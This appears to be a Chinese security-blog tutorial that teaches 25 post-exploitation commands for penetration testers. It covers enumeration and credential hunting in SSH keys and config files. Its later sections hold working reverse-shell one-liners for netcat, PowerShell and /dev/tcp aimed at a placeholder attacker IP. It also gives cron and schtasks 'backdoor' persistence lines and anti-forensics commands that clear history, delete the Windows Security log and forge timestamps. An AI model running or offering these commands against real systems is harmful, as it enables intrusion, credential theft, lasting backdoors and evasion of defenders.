SecRoadmap.Club

SecLab安全实验室

文章路线

拿到 Shell 才是开局:25 条“后渗透”神命令一口气学会

黑客在成功入侵后,不仅仅是“弹个Shell”那么简单,真正的魔法是发生在“进入系统之后”。

发布日期

2025/11/04

更新时间

尚未更新

难度

进阶

预估阅读

约 10 分钟

前置知识

  • 渗透测试

前言:真正的较量从获取Shell后才开始

你是否好奇过,真正的黑客在成功入侵后会做什么?这可不仅仅是”弹个Shell”那么简单。真正的魔法——技术与艺术的结合——发生在进入系统之后

大多数人认为拿到Shell就意味着游戏结束。事实恰恰相反——这只是刚刚开始。渗透后利用(Post-Exploitation)才是渗透测试人员、红队成员,甚至恶意攻击者真正发力的阶段。他们会提升权限、横向移动、建立持久化、收集数据并清理痕迹。掌握这些技能不仅炫酷——更能让你在网络安全领域脱颖而出。

准备好揭开幕后的秘密了吗?这里有一套经过实战检验的工具包,包含25条每位道德黑客、漏洞赏金猎人或蓝队成员都应该烂熟于心的命令。让我们直入正题。


什么是渗透后利用(为什么你应该关心)?

简而言之,渗透后利用是指在获得系统访问权限之后所做的一切。可以把它想象成进入一栋上锁的房子:你不会只是站在门厅里,而是会翻遍各个房间,寻找贵重物品,甚至可能为朋友打开后门。对于渗透测试人员和红队来说,渗透后利用阶段的任务包括:

  • 收集关键信息(凭证、配置文件、令牌)
  • 从普通用户提权至管理员/root
  • 建立持久化访问以便后续使用
  • 在网络内横向移动
  • 规避检测并清理痕迹

这正是脚本小子与真正高手的分水岭。

现在,让我们拆解25条核心命令,配合实战案例,让你事半功倍。


1. 我是谁?确定你的立足点

1. whoami

看似简单,但永远是第一步。你需要知道当前的执行上下文。

whoami

预期输出可能是 www-datauserSYSTEM。这告诉你当前能做什么(以及不能做什么)。

2. id

特别是在Linux上,id 命令会显示UID、GID和组成员资格。

id

如果看到 uid=0(root),你已经赢了。否则,留意 sudowheeladm 等组。


2. 我在什么系统中?系统枚举

3. uname -a

获取操作系统版本、架构和内核信息。有时会透露潜在的提权向量。

uname -a

在Windows上,使用:

systeminfo

这是提权研究的金矿——查找与版本匹配的内核漏洞。

4. hostnamehostnamectl

你需要知道自己在网络中的位置。

hostname
hostnamectl

在Active Directory环境中?主机名可能暗示命名规范:DC01WEB-SERVER 等。

5. cat /etc/os-release

获取精确的Linux发行版和版本:

cat /etc/os-release

这出奇地有用,特别是在CTF比赛或冷门嵌入式系统中遇到奇怪的发行版时。


3. 我能访问什么?目录和文件发现

6. ls -lha

详细列出目录。-a 标志显示隐藏文件(点文件常藏有密码或SSH密钥)。

ls -lha ~/

我曾通过浏览这里找到 .bash_history 甚至包含秘密的 .git 文件夹。

7. find / -perm -4000 -type f 2>/dev/null

寻找SUID二进制文件?它们通常是提权的金矿。

find / -perm -4000 -type f 2>/dev/null

寻找设置了SUID位的异常二进制文件——有时它们允许权限提升。

8. cat /etc/passwd

获取用户列表——不是为了破解密码(那已经过时),而是为了绘制攻击面。

cat /etc/passwd

在Windows上,使用:

net user

4. 正在运行什么?进程和服务枚举

9. ps aux(Windows上用 tasklist

你需要知道正在运行什么。是否有以root身份运行的进程?有奇怪的守护进程吗?

ps aux

或在Windows上:

tasklist

你经常会在进程参数中发现遗留应用、定时任务,甚至明文密码。

10. netstat -tulnp(Windows上用 Get-NetTCPConnection

网络服务揭示远程访问点和横向移动机会。

netstat -tulnp

PowerShell中:

Get-NetTCPConnection

寻找高端口上的服务或”隐藏”的监听器。


5. 搜刮凭证:好东西在哪里?

11. cat ~/.ssh/id_rsacat ~/.bash_history

SSH私钥经常随处可见。命令历史也一样——有时包含密码、curl令牌或AWS密钥。

cat ~/.ssh/id_rsa
cat ~/.bash_history

务必检查 AWS_ACCESS_KEY_ID 及相关内容。

12. grep -i password /etc/* 2>/dev/null

你在寻找任何闻起来像凭证的东西。

grep -i password /etc/* 2>/dev/null

在Windows上,尝试查找ini或配置文件:

findstr /si password c:\*.ini c:\*.config c:\*.xml

专业提示: 开发者喜欢把秘密放在配置文件里。他们讨厌管理秘密。

13. cat /var/www/html/config.php

Web应用程序的配置文件中常有数据库凭证。根据需要更改路径。

cat /var/www/html/config.php

对于渗透测试,检查 /var/www/ 路径寻找秘密是经典操作。


6. 提权侦察

14. sudo -l

当前用户可以无需密码以root身份运行哪些命令?有时,有些脚本或二进制文件可以被滥用。

sudo -l

如果看到类似 sudo /usr/bin/vim 的内容,你离root只差一个 :!sh

15. getcap -r / 2>/dev/null

Linux能力(capabilities)类似SUID,但更隐蔽。有时,具有奇怪能力的二进制文件可被利用提权。

getcap -r / 2>/dev/null

如果看到 cap_setuid 之类的内容,深入挖掘。

16. wmic group get name, sid

在Windows上,绘制组成员资格至关重要。也许你在不知情的情况下就在某个高权限组中。

wmic group get name, sid

结合 whoami /groups——你会得到全局视图。


7. 轴转和横向移动

17. ssh user@targethost

如果找到SSH密钥或密码,横向移动就是你的下一步。用它们跳转到其他系统。

ssh user@targethost

或在Windows上使用psexec(横向移动的经典工具):

psexec \\TARGET -u USER -p PASSWORD cmd

在红队行动中串联多个横向移动跳板的体验,此生难忘。

18. smbclient //target/share -U username

SMB共享可能藏有各种战利品。在Windows重度网络中,你会经常使用它。

smbclient //target/share -U username

尝试 dirget file.txt 等。虽然使用率不高,但威力巨大。


8. 数据外泄与持久化

19. nc -lvnp 4444(Netcat反向Shell)

Netcat是黑客的瑞士军刀。设置监听器或发送文件。

在攻击机上:

nc -lvnp 4444

在受害机上:

nc <your_ip> 4444 -e /bin/bash

对于Windows(使用PowerShell),可以用:

powershell -c "$client = New-Object System.Net.Sockets.TCPClient('<your_ip>',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}"

有时反向Shell轻松奏效。有时杀毒软件毁掉一切——但总值得一试。

20. crontab -e(持久化)

持久化意味着你可以稍后回来。Cron作业在Linux上效果奇佳。

编辑cron作业:

crontab -e

添加类似这样的一行:

* * * * * /bin/bash -c 'bash -i >& /dev/tcp/<your_ip>/4444 0>&1'

在Windows上,使用schtasks:

schtasks /create /sc minute /mo 1 /tn backdoor /tr "powershell.exe -noni -nop -w hidden -c <command>"

酷的是什么?即使重启后,你的访问依然存在。


9. 清理痕迹

21. history -c && history -w

清除bash历史。(不完美,但总比没有强。)

history -c && history -w

在Windows上,可能删除日志:

del C:\Windows\System32\winevt\Logs\Security.evtx

或者,在PowerShell中清除命令历史:

Remove-Item (Get-PSReadlineOption).HistorySavePath

实话实说——防御者仍有招数,但这能为你争取时间。

22. touch -mt YYYYMMDDhhmm file

重置文件时间戳。当你添加或修改文件时,防御者会查找最近的更改。用这个改回去:

touch -mt 202201010101 somefile.txt

结合 ls -lt 检查你的工作成果。


10. 系统和网络侦察

23. ifconfig / ip a

找出哪些网络接口已启用,以及可以从哪些本地IP进行横向移动。

ifconfig

ip a

Windows等效命令:

ipconfig

你可能发现备份或管理网络——横向移动的大奖。

24. route -n / netstat -rn

绘制网络路由图显示你可以去哪里。有时,你会发现其他诱人的子网。

route -n

在Windows上:

route print

我曾用这个命令发现隐藏的管理网络。总是值得一看。

25. arp -a

查看本地网络上还有谁。这在扁平网络或瞄准横向移动时特别有用。

arp -a

它会列出一串你可以扫描或攻击的IP和MAC地址。


实战演练:经典渗透后利用工作流

让我用上述一些命令的组合,带你走一遍经典的渗透后利用流程。

1. 确定你的身份:

whoami
id

2. 检查系统:

uname -a
cat /etc/os-release

3. 搜寻密钥和密码:

ls -lha ~/
cat ~/.ssh/id_rsa
grep -i password /etc/*

4. 寻找提权机会:

sudo -l
find / -perm -4000 -type f 2>/dev/null

5. 扫描横向移动:

ifconfig
arp -a
smbclient //target/share -U username

6. 持久化并清理:

crontab -e
history -c && history -w

每条命令都环环相扣。实战中,你会来回切换,收集线索,尝试一条路径,在被杀软拦截时绕道而行。


实战技巧(来自一线)

  • 保持好奇心: 挖得比表面深一点。有时,真正的宝藏就在两个目录之外。
  • 自动化,但要验证: LinPEAS和WinPEAS之类的脚本很棒,但为了学习和隐蔽,要亲自运行核心命令。
  • 始终检查配置文件: 特别是Web应用配置——它们时常泄露数据库凭证、AWS秘密和API密钥。
  • 不要跳过进程和网络枚举: 一个奇怪的进程或开放端口可能是你意想不到的横向移动点。
  • 像系统管理员一样思考: 你会把备份密钥藏在哪里?会给紧急密码文件起什么名字?

老实说——即使是经验丰富的渗透测试人员在压力下也会忘记基础知识。这就是为什么把这些命令刻进肌肉记忆如此强大。


总结:为什么这些命令如此重要

掌握渗透后利用的关键在于态势感知。这不仅仅是关于提权漏洞或反向Shell——而是知道接下来该运行哪条命令

无论你是在进行漏洞赏金猎取、深入红队行动,还是防御自己的技术栈,这25条命令都是你每次必定会用到的工具包。

你可能会想:“不可能这么简单吧。“但实际上?专业人士正是快速、安静、有条不紊地运用这些基础——这正是他们的危险之处。

持续练习,不断探索。下次你拿到Shell时,你会确切知道该做什么。说实话?那种感觉真的很棒。

渗透测算横向移动